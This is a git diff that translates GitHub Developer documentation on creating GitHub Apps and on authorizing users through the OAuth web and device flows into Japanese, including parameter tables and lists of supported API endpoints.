+1. [Permissions] で、アプリケーションが要求する権限を選択します。 権限の各タイプで、ドロップダウンメニューを使用して [**Read-only**]、[**Read & write**]、または[**No access**] をクリックします。 ![GitHub App のさまざまな権限](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
+1. [Subscribe to events] で、アプリケーションが受け取るイベントを選択します。
+1. アプリケーションをインストールする場所を、[**Only on this account**] (このアカウントのみ) と [**Any account**] (すべてのアカウント) から選びます。 これらのオプションに関する詳しい情報については、「[GitHub App をパブリックまたはプライベートにする](/apps/managing-github-apps/making-a-github-app-public-or-private/)」を参照してください。 ![GitHub App のインストールオプション](/assets/images/github-apps/github_apps_installation_options.png)
+1. [**Create GitHub App**] をクリックします。 ![GitHub App を作成するボタン](/assets/images/github-apps/github_apps_create_github_app.png)
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/ja-JP/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
index f3dc98fd52..ab0519c401 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Identifying and authorizing users for GitHub Apps
+title: GitHub App のユーザの特定と認可
 intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}'
 redirect_from:
   - /early-access/integrations/user-identification-authorization
@@ -13,88 +13,89 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Identify & authorize users
+shortTitle: ユーザの特定と認可
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
-When your GitHub App acts on behalf of a user, it performs user-to-server requests. These requests must be authorized with a user's access token. User-to-server requests include requesting data for a user, like determining which repositories to display to a particular user. These requests also include actions triggered by a user, like running a build.
+GitHub App がユーザの代わりに動作すると、ユーザからサーバーに対するリクエストを実行します。 こうしたリクエストは、ユーザのアクセストークンで承認される必要があります。 ユーザからサーバーに対するリクエストには、特定のユーザに対してどのリポジトリを表示するか決定するなど、ユーザに対するデータのリクエストが含まれます。 これらのリクエストには、ビルドの実行など、ユーザがトリガーしたアクションも含まれます。
 
 {% data reusables.apps.expiring_user_authorization_tokens %}
 
-## Identifying users on your site
+## サイト上のユーザを特定する
 
-To authorize users for standard apps that run in the browser, use the [web application flow](#web-application-flow).
+ブラウザで動作する標準的なアプリケーションでユーザを認可するには、[Web アプリケーションフロー](#web-application-flow)を利用してください。
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-To authorize users for headless apps without direct access to the browser, such as CLI tools or Git credential managers, use the [device flow](#device-flow). The device flow uses the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628).
+CLI ツールや Git 認証情報マネージャーなどの、ブラウザに直接アクセスしないヘッドレスアプリケーションでユーザを認可するには、[デバイスフロー](#device-flow)を利用します。 デバイスフローは、OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) を利用します。
 
 {% endif %}
 
-## Web application flow
+## Web アプリケーションフロー
 
-Using the web application flow, the process to identify users on your site is:
+Web アプリケーションフローを利用して、サイト上のユーザを特定するプロセスは以下の通りです。
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your GitHub App accesses the API with the user's access token
+1. ユーザはGitHubのアイデンティティをリクエストするためにリダイレクトされます
+2. ユーザはGitHubによってサイトにリダイレクトして戻されます
+3. GitHub Appはユーザのアクセストークンで API にアクセスします
 
-If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, step 1 will be completed during app installation. For more information, see "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)."
+アプリケーションを作成または変更する際に [**Request user authorization (OAuth) during installation**] を選択した場合、アプリケーションのインストール中にステップ 1 が完了します。 詳しい情報については、「[インストール中のユーザの認可](/apps/installing-github-apps/#authorizing-users-during-installation)」を参照してください。
 
-### 1. Request a user's GitHub identity
-Direct the user to the following URL in their browser:
+### 1. ユーザのGitHubアイデンティティのリクエスト
+ブラウザで次のURLに移動するようユーザに指示します。
 
     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+GitHub Appが`login`パラメータを指定すると、ユーザに対して利用できる特定のアカウントでサインインしてアプリケーションを認可するよう求めます。
 
-#### Parameters
+#### パラメータ
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The client ID for your GitHub App. You can find this in your [GitHub App settings](https://github.com/settings/apps) when you select your app. **Note:** The app ID and client ID are not the same, and are not interchangeable.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | This should contain a random string to protect against forgery attacks and could contain any other arbitrary data.
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`allow_signup` | `string` | Whether or not unauthenticated users will be offered an option to sign up for {% data variables.product.prodname_dotcom %} during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| 名前             | 種類       | 説明                                                                                                                                                                                                                                           |
+| -------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`    | `string` | **必須。**GitHub App のクライアント IDです。 アプリケーションを選択したときに、[GitHub App 設定](https://github.com/settings/apps)に表示されます。 **注釈:** アプリケーション ID とクライアント ID は同一ではなく、お互いを置き換えることはできません。                                                                         |
+| `redirect_uri` | `string` | 認可の後にユーザが送られるアプリケーション中のURL。 これは、GitHub App をセットアップする際に{% ifversion fpt or ghes > 3.0 or ghec %}**コールバック URL** として指定された URL の １つ{% else %}[**User authorization callback URL**] フィールドで指定された URL {% endif %}と一致させる必要があり、他の追加パラメータを含めることはできません。 |
+| `state`        | `string` | これはフォージェリアタックを防ぐためにランダムな文字列を含める必要があり、あらゆる任意のデータを含めることができます。                                                                                                                                                                                  |
+| `login`        | `string` | サインインとアプリケーションの認可に使われるアカウントを指示します。                                                                                                                                                                                                           |
+| `allow_signup` | `string` | OAuthフローの間に、認証されていないユーザに対して{% data variables.product.prodname_dotcom %}へのサインアップの選択肢が提示されるかどうか。 デフォルトは `true` です。 ポリシーでサインアップが禁止されている場合は`false`を使ってください。                                                                                      |
 
 {% note %}
 
-**Note:** You don't need to provide scopes in your authorization request. Unlike traditional OAuth, the authorization token is limited to the permissions associated with your GitHub App and those of the user.
+**注釈:** 認可リクエストにスコープを指定する必要はありません。 従来の OAuth とは異なり、認証トークンはGitHub App に紐付けられた権限およびユーザの権限に限定されます。
 
 {% endnote %}
 
-### 2. Users are redirected back to your site by GitHub
+### 2. ユーザはGitHubによってサイトにリダイレクトして戻されます
 
-If the user accepts your request, GitHub redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. If the states don't match, the request was created by a third party and the process should be aborted.
+ユーザがリクエストを受け付けると、GitHub は一時的なコードを `code` パラメータに、そして前のステップで渡された状態を `state` パラメータに入れてリダイレクトさせ、サイトに戻します。 状態が一致しない場合、そのリクエストは第三者が作成したものであり、プロセスを中止する必要があります。
 
 {% note %}
 
-**Note:** If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, GitHub returns a temporary `code` that you will need to exchange for an access token. The `state` parameter is not returned when GitHub initiates the OAuth flow during app installation.
+**注釈:** アプリケーションを作成または変更する際に [**Request user authorization (OAuth) during installation**] を選択した場合、GitHub はアクセストークンと交換する必要がある一時的な `code` を返します。 アプリケーションのインストール中に GitHub が OAuth フローを開始した場合、`state` パラメータは返されません。
 
 {% endnote %}
 
-Exchange this `code` for an access token.  When expiring tokens are enabled, the access token expires in 8 hours and the refresh token expires in 6 months. Every time you refresh the token, you get a new refresh token. For more information, see "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)."
+この `code` をアクセストークンと交換します。  トークンの期限設定が有効になっている場合、アクセストークンは 8 時間で期限切れとなり、リフレッシュトークンは 6 か月で期限切れとなります。 トークンを更新するたびに、新しいリフレッシュトークンを取得します。 詳しい情報については、「[ユーザからサーバーに対するアクセストークンをリフレッシュする](/developers/apps/refreshing-user-to-server-access-tokens)」を参照してください。
 
-Expiring user tokens are currently an optional feature and subject to change. To opt-in to the user-to-server token expiration feature, see "[Activating optional features for apps](/developers/apps/activating-optional-features-for-apps)."
+ユーザトークンの期限設定は、現在のところオプション機能であり、変更される可能性があります。 ユーザからサーバーに対するトークンの期限設定にオプトインするには、「[アプリケーションのオプション機能を有効化する](/developers/apps/activating-optional-features-for-apps)」を参照してください。
 
-Make a request to the following endpoint to receive an access token:
+アクセストークンを受け取るため、次のエンドポイントをリクエストします。
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### パラメータ
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The  client ID for your GitHub App.
-`client_secret` | `string`   | **Required.** The  client secret for your GitHub App.
-`code` | `string`   | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | The unguessable random string you provided in Step 1.
+| 名前              | 種類       | 説明                                                                                                                                                                                                                                           |
+| --------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`     | `string` | **必須。**GitHub App のクライアント ID。                                                                                                                                                                                                                |
+| `client_secret` | `string` | **必須。**GitHub App のクライアントシークレット。                                                                                                                                                                                                             |
+| `コード`           | `string` | **必須。** ステップ1でレスポンスとして受け取ったコード。                                                                                                                                                                                                              |
+| `redirect_uri`  | `string` | 認可の後にユーザが送られるアプリケーション中のURL。 これは、GitHub App をセットアップする際に{% ifversion fpt or ghes > 3.0 or ghec %}**コールバック URL** として指定された URL の １つ{% else %}[**User authorization callback URL**] フィールドで指定された URL {% endif %}と一致させる必要があり、他の追加パラメータを含めることはできません。 |
+| `state`         | `string` | ステップ1で提供した推測できないランダムな文字列。                                                                                                                                                                                                                    |
 
-#### Response
+#### レスポンス
 
-By default, the response takes the following form. The response parameters `expires_in`, `refresh_token`,  and `refresh_token_expires_in` are only returned when you enable expiring user-to-server access tokens.
+デフォルトでは、レスポンスは以下の形式になります。 レスポンスパラメータの `expires_in`、`refresh_token`、`refresh_token_expires_in` は、ユーザからサーバに対するアクセストークンの期限設定を有効にしている場合にのみ返されます。
 
 ```json
 {
@@ -107,14 +108,14 @@ By default, the response takes the following form. The response parameters `expi
 }
 ```
 
-### 3. Your GitHub App accesses the API with the user's access token
+### 3. GitHub Appはユーザのアクセストークンで API にアクセスします
 
-The user's access token allows the GitHub App to make requests to the API on behalf of a user.
+ユーザのアクセストークンを使用すると、GitHub App がユーザの代わりに API にリクエストを発行できます。
 
     Authorization: token OAUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+たとえば、curlでは以下のようにAuthorizationヘッダを設定できます。
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -122,812 +123,812 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## デバイスフロー
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**注釈:** デバイスフローは現在パブリックベータであり、変更されることがあります。
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+デバイスフローを使えば、CLIツールやGit認証情報マネージャーなどのヘッドレスアプリケーションのユーザを認可できます。
 
-For more information about authorizing users using the device flow, see "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps#device-flow)".
+デバイスフローを使ったユーザの認可については、「[OAuth App の認可](/developers/apps/authorizing-oauth-apps#device-flow)」を参照してください。
 
 {% endif %}
 
-## Check which installation's resources a user can access
+## ユーザがアクセスできるインストールされたリソースの確認
 
 
-Once you have an OAuth token for a user, you can check which installations that user can access.
+ユーザの OAuth トークンを取得したら、そのユーザがアクセスできるインストールされたアプリケーションを確認できます。
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations
 
-You can also check which repositories are accessible to a user for an installation.
+また、インストールされたアプリケーションでユーザがアクセスできるリポジトリも確認できます。
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations/:installation_id/repositories
 
-More details can be found in: [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) and [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token).
+詳細については、[ユーザアクセストークンがアクセスできるインストールされたアプリケーションの一覧表示](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)および[ユーザアクセストークンがアクセスできるリポジトリの一覧表示](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)でご確認ください。
 
-## Handling a revoked GitHub App authorization
+## GitHub App の認可の取り消し処理
 
-If a user revokes their authorization of a GitHub App, the app will receive the [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) webhook by default. GitHub Apps cannot unsubscribe from this event. {% data reusables.webhooks.authorization_event %}
+ユーザが GitHub App の認可を取り消した場合、アプリケーションはデフォルトで [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) webhook を受信します。 GitHub App は、このイベントをサブスクライブ解除できません。 {% data reusables.webhooks.authorization_event %}
 
-## User-level permissions
+## ユーザレベルの権限
 
-You can add user-level permissions to your GitHub App to access user resources, such as user emails, that are granted by individual users as part of the [user authorization flow](#identifying-users-on-your-site). User-level permissions differ from [repository and organization-level permissions](/rest/reference/permissions-required-for-github-apps), which are granted at the time of installation on an organization or user account.
+[ユーザ認可フロー](#identifying-users-on-your-site)の一環として、個々のユーザに付与されたユーザのメールなどのユーザが所有するリソースにアクセスできる、ユーザレベルの権限を GitHub App に付与できます。 ユーザレベルの権限は、Organization またはユーザアカウントにインストールされる際に付与される、[リポジトリおよび Organization レベルの権限](/rest/reference/permissions-required-for-github-apps)とは異なります。
 
-You can select user-level permissions from within your GitHub App's settings in the **User permissions** section of the **Permissions & webhooks** page. For more information on selecting permissions, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+ユーザレベルの権限は、[**Permissions & webhooks**] ページの [**User permissions**] セクションにある GitHub App の設定で選択できます。 権限の選択に関する詳しい情報については、「[GitHub Appの権限の編集](/apps/managing-github-apps/editing-a-github-app-s-permissions/)」を参照してください。
 
-When a user installs your app on their account, the installation prompt will list the user-level permissions your app is requesting and explain that the app can ask individual users for these permissions.
+ユーザが自分のアカウントにアプリケーションをインストールする時、インストールプロンプトは、アプリケーションがリクエストするユーザレベルの権限を一覧表示し、アプリケーションがこれらの権限を個々のユーザに求めることができるということを説明します。
 
-Because user-level permissions are granted on an individual user basis, you can add them to your existing app without prompting users to upgrade. You will, however, need to send existing users through the user authorization flow to authorize the new permission and get a new user-to-server token for these requests.
+ユーザレベルの権限は個々のユーザに付与されるため、ユーザにアップグレードを促すことなく、既存のアプリケーションに権限を追加できます。 ただし、新しい権限を認可し、ユーザからサーバーに対するトークンを取得するため、ユーザ認可フローを通じて既存のユーザを送信する必要があります。
 
-## User-to-server requests
+## ユーザからサーバーへのリクエスト
 
-While most of your API interaction should occur using your server-to-server installation access tokens, certain endpoints allow you to perform actions via the API using a user access token. Your app can make the following requests using [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) or [REST v3](/rest) endpoints.
+While most of your API インタラクションのほとんどは、サーバーからサーバーへのインストールアクセストークンを用いて行われますが、一部のエンドポイントでは、ユーザアクセストークンを使用し、API 経由でアクションを実行できます。 [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) または [REST v3](/rest) エンドポイントを使用して、アプリケーションは次のリクエストを行うことができます。
 
-### Supported endpoints
+### 対応しているエンドポイント
 
 {% ifversion fpt or ghec %}
-#### Actions Runners
+#### Actions ランナー
 
-* [List runner applications for a repository](/rest/reference/actions#list-runner-applications-for-a-repository)
-* [List self-hosted runners for a repository](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
-* [Get a self-hosted runner for a repository](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
-* [Delete a self-hosted runner from a repository](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
-* [Create a registration token for a repository](/rest/reference/actions#create-a-registration-token-for-a-repository)
-* [Create a remove token for a repository](/rest/reference/actions#create-a-remove-token-for-a-repository)
-* [List runner applications for an organization](/rest/reference/actions#list-runner-applications-for-an-organization)
-* [List self-hosted runners for an organization](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
-* [Get a self-hosted runner for an organization](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
-* [Delete a self-hosted runner from an organization](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
-* [Create a registration token for an organization](/rest/reference/actions#create-a-registration-token-for-an-organization)
-* [Create a remove token for an organization](/rest/reference/actions#create-a-remove-token-for-an-organization)
+* [リポジトリのランナーアプリケーションの一覧表示](/rest/reference/actions#list-runner-applications-for-a-repository)
+* [リポジトリのセルフホストランナーの一覧表示](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
+* [リポジトリのセルフホストランナーの取得](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
+* [リポジトリからのセルフホストランナーの削除](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
+* [リポジトリに対する登録トークンの作成](/rest/reference/actions#create-a-registration-token-for-a-repository)
+* [リポジトリに対する削除トークンの作成](/rest/reference/actions#create-a-remove-token-for-a-repository)
+* [Organization のランナーアプリケーションの一覧表示](/rest/reference/actions#list-runner-applications-for-an-organization)
+* [Organizationのセルフホストランナーの一覧表示](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
+* [Organizationのセルフホストランナーの取得](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
+* [Organizationのセルフホストランナーの削除](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
+* [Organizationの登録トークンの作成](/rest/reference/actions#create-a-registration-token-for-an-organization)
+* [Organizationの削除トークンの作成](/rest/reference/actions#create-a-remove-token-for-an-organization)
 
-#### Actions Secrets
+#### Actionsのシークレット
 
-* [Get a repository public key](/rest/reference/actions#get-a-repository-public-key)
-* [List repository secrets](/rest/reference/actions#list-repository-secrets)
-* [Get a repository secret](/rest/reference/actions#get-a-repository-secret)
-* [Create or update a repository secret](/rest/reference/actions#create-or-update-a-repository-secret)
-* [Delete a repository secret](/rest/reference/actions#delete-a-repository-secret)
-* [Get an organization public key](/rest/reference/actions#get-an-organization-public-key)
-* [List organization secrets](/rest/reference/actions#list-organization-secrets)
-* [Get an organization secret](/rest/reference/actions#get-an-organization-secret)
-* [Create or update an organization secret](/rest/reference/actions#create-or-update-an-organization-secret)
-* [List selected repositories for an organization secret](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
-* [Set selected repositories for an organization secret](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
-* [Add selected repository to an organization secret](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
-* [Remove selected repository from an organization secret](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
-* [Delete an organization secret](/rest/reference/actions#delete-an-organization-secret)
+* [リポジトリ公開鍵の取得](/rest/reference/actions#get-a-repository-public-key)
+* [リポジトリのシークレットの一覧表示](/rest/reference/actions#list-repository-secrets)
+* [リポジトリのシークレットの取得](/rest/reference/actions#get-a-repository-secret)
+* [リポジトリのシークレットの作成もしくは更新](/rest/reference/actions#create-or-update-a-repository-secret)
+* [リポジトリシークレットの削除](/rest/reference/actions#delete-a-repository-secret)
+* [Organizationの公開鍵の取得](/rest/reference/actions#get-an-organization-public-key)
+* [Organizationのシークレットの一覧表示](/rest/reference/actions#list-organization-secrets)
+* [Organizationのシークレットの取得](/rest/reference/actions#get-an-organization-secret)
+* [Organizationのシークレットの作成もしくは更新](/rest/reference/actions#create-or-update-an-organization-secret)
+* [Organizatinoの選択されたリポジトリのシークレットの一覧表示](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
+* [Organizationの選択されたリポジトリのシークレットの設定](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
+* [Organizationの選択されたリポジトリのシークレットの追加](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
+* [Organizationの選択されたリポジトリからのシークレットの削除](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
+* [Organizationのシークレットの削除](/rest/reference/actions#delete-an-organization-secret)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Artifacts
+#### 成果物
 
-* [List artifacts for a repository](/rest/reference/actions#list-artifacts-for-a-repository)
-* [List workflow run artifacts](/rest/reference/actions#list-workflow-run-artifacts)
-* [Get an artifact](/rest/reference/actions#get-an-artifact)
-* [Delete an artifact](/rest/reference/actions#delete-an-artifact)
-* [Download an artifact](/rest/reference/actions#download-an-artifact)
+* [リポジトリの成果物の一覧表示](/rest/reference/actions#list-artifacts-for-a-repository)
+* [ワークフローの実行の成果物の一覧表示](/rest/reference/actions#list-workflow-run-artifacts)
+* [成果物の取得](/rest/reference/actions#get-an-artifact)
+* [成果物の削除](/rest/reference/actions#delete-an-artifact)
+* [成果物のダウンロード](/rest/reference/actions#download-an-artifact)
 {% endif %}
 
-#### Check Runs
+#### チェックラン
 
-* [Create a check run](/rest/reference/checks#create-a-check-run)
-* [Get a check run](/rest/reference/checks#get-a-check-run)
-* [Update a check run](/rest/reference/checks#update-a-check-run)
-* [List check run annotations](/rest/reference/checks#list-check-run-annotations)
-* [List check runs in a check suite](/rest/reference/checks#list-check-runs-in-a-check-suite)
-* [List check runs for a Git reference](/rest/reference/checks#list-check-runs-for-a-git-reference)
+* [チェックランの作成](/rest/reference/checks#create-a-check-run)
+* [チェックランの取得](/rest/reference/checks#get-a-check-run)
+* [チェックランの更新](/rest/reference/checks#update-a-check-run)
+* [チェックランのアノテーションの一覧表示](/rest/reference/checks#list-check-run-annotations)
+* [チェックスイート中のチェックランの一覧表示](/rest/reference/checks#list-check-runs-in-a-check-suite)
+* [Git参照のチェックランの一覧表示](/rest/reference/checks#list-check-runs-for-a-git-reference)
 
-#### Check Suites
+#### チェックスイート
 
-* [Create a check suite](/rest/reference/checks#create-a-check-suite)
-* [Get a check suite](/rest/reference/checks#get-a-check-suite)
-* [Rerequest a check suite](/rest/reference/checks#rerequest-a-check-suite)
-* [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)
-* [List check suites for a Git reference](/rest/reference/checks#list-check-suites-for-a-git-reference)
+* [チェックスイートの作成](/rest/reference/checks#create-a-check-suite)
+* [チェックスイートの取得](/rest/reference/checks#get-a-check-suite)
+* [チェックスイートのリクエスト](/rest/reference/checks#rerequest-a-check-suite)
+* [チェックスイートのリポジトリ環境設定の更新](/rest/reference/checks#update-repository-preferences-for-check-suites)
+* [Git参照のチェックスイートの一覧表示](/rest/reference/checks#list-check-suites-for-a-git-reference)
 
-#### Codes Of Conduct
+#### 行動規範
 
-* [Get all codes of conduct](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
-* [Get a code of conduct](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
+* [すべての行動規範の取得](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
+* [行動規範の取得](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
 
-#### Deployment Statuses
+#### デプロイメントステータス
 
-* [List deployment statuses](/rest/reference/deployments#list-deployment-statuses)
-* [Create a deployment status](/rest/reference/deployments#create-a-deployment-status)
-* [Get a deployment status](/rest/reference/deployments#get-a-deployment-status)
+* [デプロイメントステータスの一覧表示](/rest/reference/deployments#list-deployment-statuses)
+* [デプロイメントステータスの作成](/rest/reference/deployments#create-a-deployment-status)
+* [デプロイメントステータスの取得](/rest/reference/deployments#get-a-deployment-status)
 
-#### Deployments
+#### デプロイメント
 
-* [List deployments](/rest/reference/deployments#list-deployments)
-* [Create a deployment](/rest/reference/deployments#create-a-deployment)
+* [デプロイメントの一覧表示](/rest/reference/deployments#list-deployments)
+* [デプロイメントの作成](/rest/reference/deployments#create-a-deployment)
 * [Get a deployment](/rest/reference/deployments#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a deployment](/rest/reference/deployments#delete-a-deployment){% endif %}
+* [デプロイメントの削除](/rest/reference/deployments#delete-a-deployment){% endif %}
 
-#### Events
+#### イベント
 
-* [List public events for a network of repositories](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
-* [List public organization events](/rest/reference/activity#list-public-organization-events)
+* [リポジトリのネットワークのパブリックなイベントの一覧表示](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
+* [パブリックなOrganizationのイベントの一覧表示](/rest/reference/activity#list-public-organization-events)
 
-#### Feeds
+#### フィード
 
-* [Get feeds](/rest/reference/activity#get-feeds)
+* [フィードの取得](/rest/reference/activity#get-feeds)
 
-#### Git Blobs
+#### Git Blob
 
-* [Create a blob](/rest/reference/git#create-a-blob)
-* [Get a blob](/rest/reference/git#get-a-blob)
+* [blobの作成](/rest/reference/git#create-a-blob)
+* [blobの取得](/rest/reference/git#get-a-blob)
 
-#### Git Commits
+#### Gitのコミット
 
-* [Create a commit](/rest/reference/git#create-a-commit)
-* [Get a commit](/rest/reference/git#get-a-commit)
+* [コミットの作成](/rest/reference/git#create-a-commit)
+* [コミットの取得](/rest/reference/git#get-a-commit)
 
-#### Git Refs
+#### Git参照
 
-* [Create a reference](/rest/reference/git#create-a-reference)* [Get a reference](/rest/reference/git#get-a-reference)
-* [List matching references](/rest/reference/git#list-matching-references)
-* [Update a reference](/rest/reference/git#update-a-reference)
-* [Delete a reference](/rest/reference/git#delete-a-reference)
+* [参照の作成](/rest/reference/git#create-a-reference)*[参照の取得](/rest/reference/git#get-a-reference)
+* [一致する参照の一覧表示](/rest/reference/git#list-matching-references)
+* [参照の更新](/rest/reference/git#update-a-reference)
+* [参照の削除](/rest/reference/git#delete-a-reference)
 
-#### Git Tags
+#### Gitタグ
 
-* [Create a tag object](/rest/reference/git#create-a-tag-object)
-* [Get a tag](/rest/reference/git#get-a-tag)
+* [タグオブジェクトの作成](/rest/reference/git#create-a-tag-object)
+* [タグの取得](/rest/reference/git#get-a-tag)
 
-#### Git Trees
+#### Gitツリー
 
-* [Create a tree](/rest/reference/git#create-a-tree)
-* [Get a tree](/rest/reference/git#get-a-tree)
+* [ツリーの作成](/rest/reference/git#create-a-tree)
+* [ツリーの取得](/rest/reference/git#get-a-tree)
 
-#### Gitignore Templates
+#### gitignoreテンプレート
 
-* [Get all gitignore templates](/rest/reference/gitignore#get-all-gitignore-templates)
-* [Get a gitignore template](/rest/reference/gitignore#get-a-gitignore-template)
+* [すべてのgitignoreテンプレートの取得](/rest/reference/gitignore#get-all-gitignore-templates)
+* [gitignoreテンプレートの取得](/rest/reference/gitignore#get-a-gitignore-template)
 
-#### Installations
+#### インストール
 
-* [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
+* [ユーザアクセストークンでアクセスできるリポジトリの一覧表示](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
 
 {% ifversion fpt or ghec %}
-#### Interaction Limits
+#### インタラクションの制限
 
-* [Get interaction restrictions for an organization](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
-* [Set interaction restrictions for an organization](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
-* [Remove interaction restrictions for an organization](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
-* [Get interaction restrictions for a repository](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
-* [Set interaction restrictions for a repository](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
-* [Remove interaction restrictions for a repository](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
+* [Organizationのインタラクション制限の取得](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
+* [Organizationのインタラクション制限の設定](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
+* [Organizationのインタラクション制限の削除](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
+* [リポジトリのインタラクション制限の取得](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
+* [リポジトリのインタラクション制限の設定](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
+* [リポジトリのインタラクション制限の削除](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
 {% endif %}
 
-#### Issue Assignees
+#### Issueにアサインされた人
 
-* [Add assignees to an issue](/rest/reference/issues#add-assignees-to-an-issue)
-* [Remove assignees from an issue](/rest/reference/issues#remove-assignees-from-an-issue)
+* [Issueへのアサインされる人の追加](/rest/reference/issues#add-assignees-to-an-issue)
+* [Issueからアサインされた人を削除](/rest/reference/issues#remove-assignees-from-an-issue)
 
-#### Issue Comments
+#### Issueコメント
 
-* [List issue comments](/rest/reference/issues#list-issue-comments)
-* [Create an issue comment](/rest/reference/issues#create-an-issue-comment)
-* [List issue comments for a repository](/rest/reference/issues#list-issue-comments-for-a-repository)
-* [Get an issue comment](/rest/reference/issues#get-an-issue-comment)
-* [Update an issue comment](/rest/reference/issues#update-an-issue-comment)
-* [Delete an issue comment](/rest/reference/issues#delete-an-issue-comment)
